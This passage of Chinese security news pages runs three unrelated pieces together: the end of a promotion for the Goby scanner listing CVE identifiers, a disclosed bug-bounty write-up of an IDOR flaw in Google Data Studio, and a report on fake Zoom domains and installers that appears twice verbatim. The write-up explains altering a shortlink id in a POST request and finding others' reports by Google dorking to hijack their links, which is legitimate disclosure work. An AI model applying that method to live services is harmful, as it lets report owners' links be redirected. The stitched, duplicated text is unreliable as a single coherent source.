超过200种协议识别引擎,覆盖网络协议,数据库协议,IoT协议,ICS协议等。

3.端口

除了常用端口,我们还根据安全实战场景进行了端口分组,包括企业、咖啡馆、酒店、机场、数据库、物联网、SCADA、ICS、后门检测等。

4.漏洞及弱口令

覆盖Weblogic,Tomcat等最严重漏洞及超过1000种设备的预置账号信息。

CVE-2020-2551

CVE-2020-2555

CVE-2019-10758

CVE-2011-3556

CVE-2017-5878

CVE-2018-1297

CVE-2019-19781

CVE-2020-10189

CVE-2016-4437

CVE-2018-1000861

CVE-2017-1000353

CVE-2020-1938…

持续更新中

0×004 小结

Goby目前是Beta版本,还有很多功能正在按部就班的开发,如上面提到的插件市场及社区数据共享等。以及,之前在追求功能的时候,顾不上一些边边角角,导致遗留了很多bug。所以接下来的时间,Goby团队会重点完善如下几个方面:一)稳定性;二)实战型漏洞的补充完善;三)几个大功能的开发。完成这几点,争取今年Goby版本转正,发布正式版让大家批评指正。

免费下载goby,请访问官网https://gobies.org/

这篇Writeup介绍了谷歌数据报表平台Google Data Studio中的一个授权漏洞,作者利用该漏洞可以修改其他人分享的报告链接,实现对他人报告的劫持。

漏洞介绍

Google Data Studio是谷歌的可视化报告处理平台,要发现授权漏洞需要了解目标应用的具体工作机制,为此我花了一些时间去熟悉Google Data Studio。首先,我创建了一份空白报告,如下:

点击报告中的“共享”(Share)按钮右边的向下小箭头,会跳出一些功能选项,我们点击图中红框中的“获取报告链接”按钮,就能生成一个报告链接。

该报告链接是一个datastudio.google.com加随机字符串的样式,点击下方的“链接到当前报告的数据视图”(Link go your current report view),就会向datastudio.google.com服务端发送一个网络请求,如下:

我们用Burp来进行抓包,内容如下:

仔细观察其中的POST请求,可以发现其荐在两个参数,一个是reportId,另一个是shortLink里面的id:

reportId : 87d41ef9–1ebc-4d92–84e7-d5948e5940ed

id : m7PKn-j4R_s

起初看上去,id参数可能是我点击“链接到当前报告的数据视图”(Link go your current report view)后生成的报告id,我想看看如果用其它随机值替换它会是什么样,为此,在reportId不变为87d41ef9–1ebc-4d92–84e7-d5948e5940ed的情况下,我把id参数换为“iamsushi”,然后提交请求:

之后,我访问https://datastudio.google.com/s/iamsushi链接,它竟然能成功跳转到了之前reportId为87d41ef9–1ebc-4d92–84e7-d5948e5940ed的报告来。默认来说,普通用户是无权访问特定报告的,除非在分享中有所指定。所以,照着这个思路,我想如果某报告已经由Google Data Studio分配了一个id参数和reportId参数,那么,我是否能在reportId参数不变的情况下,对其id参数实施变换,修改成其它值呢?

非常意外,这种方法可以成功修改我另一个Google Data Studio账号创建的报告,POST请求后,服务端也响应回来了200的状态码。这一修改之后,我另一Google Data Studio账号创建的报告其最终链接中的id参数被覆盖,变成了其它链接。而本来的情况是,该报告是禁止下载和可读的。如下:

所以,这里的攻击思路是,我创建自己的报告,生成https://datastudio.google.com/s/XXXX的报告链接,然后通过Google Dork方式查找一些在线的,曝露shortlinks中id参数的其他人报告,接下来,就把其他人的报告id参数更改成我自己的报告id参数XXXX,这样一来,如果用户访问其他人的报告也就会指向了我的报告,实现对他人报告的劫持。

按耐不住心情,我及时把漏洞上报,之后谷歌很快回复称漏洞已被接收分配。但是,我却发现其中的reportId参数我还没测试过啊,所以我继续进行了测试。我简单把上述创建报告的reportId参数87d41ef9–1ebc-4d92–84e7-d5948e5940ed,把最前面的8变成了7,换为77d41ef9–1ebc-4d92–84e7-d5948e5940ed,进行了POST提交,得到的却是状态码为500的响应。

我想估计77d41ef9–1ebc-4d92–84e7-d5948e5940ed是一个无效的reportId参数,所以当我把它替换成另一个有效的reportId参数后,执行POST请求,Google Data Studio服务端可以有效响应。

之后,我及时向谷歌上报解释了该情况。

经验总结

在做Web应用测试之前,应该熟悉目标应用的工作机制;

抱着游戏的心态去分析测试漏洞,在其中反复测试,去发现一些可疑行为;

站在安全防护的角度去考虑问题,去想办法突破固定的安全模式;

测试IDOR漏洞时,要留意服务端响应,有些响应虽然不成功,但其中透露的信息可能有用;

要学会记录和思考,判断哪些操作是开发者忽视掉的,而用户却可执行的;

发现漏洞时,要认真思考它的危害性。

漏洞上报和修复进程

2019.11.22: 漏洞初报

2019.11.23: 追加reportId参数可替换的解释

2019.12.5:谷歌无法复现漏洞

2019.12.5:我发送详细漏洞信息

2019.12.14:漏洞被分类为P2级别

2019.12.16:漏洞被分类为P1级别

2020.1.4:谷歌发放漏洞奖励

2020.2.4:谷歌修复漏洞

参考来源:medium,clouds 编译整理,转载请注明来自 FreeBuf.COM

类Zoom威胁激增

受疫情影响,Zoom软件的使用量激增,黑客开始关注如何利用zoom来进行恶意活动。研究人员发现有黑客正在注册伪造的zoom域名和恶意zoom可执行文件来诱使用户在其设备上下载恶意软件。

据Check Point报告显示,疫情爆发后,有超过1700个新的zoom相关域名注册,其中过去7天就有25%的域名注册。

近期全球疫情爆发,越来越多的企业选择远程在线办公。黑客注意到这一趋势,也开始利用这个机会开始欺骗和漏洞利用活动。在获取zoom链接或文件时,要再三确认确保这不是一个陷阱。
zoom是全球最大的基于云的企业级通信平台之一,有7.4万客户和1300万的月活用户。Zoom能够提供在线聊天、视频和音频会议功能。由于疫情的影响,全球zoom用户激增,其中包括数百万的学生、企业和政府雇员。

Check Point报告显示与疫情相关的恶意域名数量有明显增长,其他相关的攻击活动包括恶意软件攻击、钓鱼攻击、创建垃圾邮件地址和恶意记录器app。

此外,研究人员还发现了大量的与zoom相关的恶意文件,比如zoom-us-zoom_##########.exe。这样的恶意软件执行后,会安装一些用户不想安装的程序(PuPs),比如 InstallCore

Zoom并不是黑客的唯一攻击目标。由于很多学校都转向在线课堂了。Check Point研究人员发现了有钓鱼网站伪装成为合法的Google classroom网站来诱使用户下载恶意软件,如googloclassroom\.com和googieclassroom\.com。

安全建议

随着越来越多的企业开始在线办公,安全流量行为就显得尤为重要。下面是Check Point给出的安全建议:

  • · 注意来自未知发送者的邮件和文件,尤其是提供特殊交易或折扣的邮件和文件内容。

  • · 不要打开未知的附件,不要随意点击邮件中的链接。

  • · 尤其注意那些看似很像的域名、邮件和网站中的拼写错误、以及不熟悉的邮件发送者。

  • · 确保在真实源上下单。最好的办法就是不要点击邮件中的链接。

  • · 通过整体的、端到端的网络架构来预防0 day攻击。

90%的网络攻击始于网络钓鱼活动,因此要尤其小心网络钓鱼电子邮件的风险。

类Zoom威胁激增

受疫情影响,Zoom软件的使用量激增,黑客开始关注如何利用zoom来进行恶意活动。研究人员发现有黑客正在注册伪造的zoom域名和恶意zoom可执行文件来诱使用户在其设备上下载恶意软件。

据Check Point报告显示,疫情爆发后,有超过1700个新的zoom相关域名注册,其中过去7天就有25%的域名注册。

近期全球疫情爆发,越来越多的企业选择远程在线办公。黑客注意到这一趋势,也开始利用这个机会开始欺骗和漏洞利用活动。在获取zoom链接或文件时,要再三确认确保这不是一个陷阱。
zoom是全球最大的基于云的企业级通信平台之一,有7.4万客户和1300万的月活用户。Zoom能够提供在线聊天、视频和音频会议功能。由于疫情的影响,全球zoom用户激增,其中包括数百万的学生、企业和政府雇员。

Check Point报告显示与疫情相关的恶意域名数量有明显增长,其他相关的攻击活动包括恶意软件攻击、钓鱼攻击、创建垃圾邮件地址和恶意记录器app。

此外,研究人员还发现了大量的与zoom相关的恶意文件,比如zoom-us-zoom_##########.exe。这样的恶意软件执行后,会安装一些用户不想安装的程序(PuPs),比如 InstallCore

Zoom并不是黑客的唯一攻击目标。由于很多学校都转向在线课堂了。Check Point研究人员发现了有钓鱼网站伪装成为合法的Google classroom网站来诱使用户下载恶意软件,如googloclassroom\.com和googieclassroom\.com。

安全建议

随着越来越多的企业开始在线办公,安全流量行为就显得尤为重要。下面是Check Point给出的安全建议:

  • · 注意来自未知发送者的邮件和文件,尤其是提供特殊交易或折扣的邮件和文件内容。

  • · 不要打开未知的附件,不要随意点击邮件中的链接。

  • · 尤其注意那些看似很像的域名、邮件和网站中的拼写错误、以及不熟悉的邮件发送者。

  • · 确保在真实源上下单。最好的办法就是不要点击邮件中的链接。

  • · 通过整体的、端到端的网络架构来预防0 day攻击。

90%的网络攻击始于网络钓鱼活动,因此要尤其小心网络钓鱼电子邮件的风险。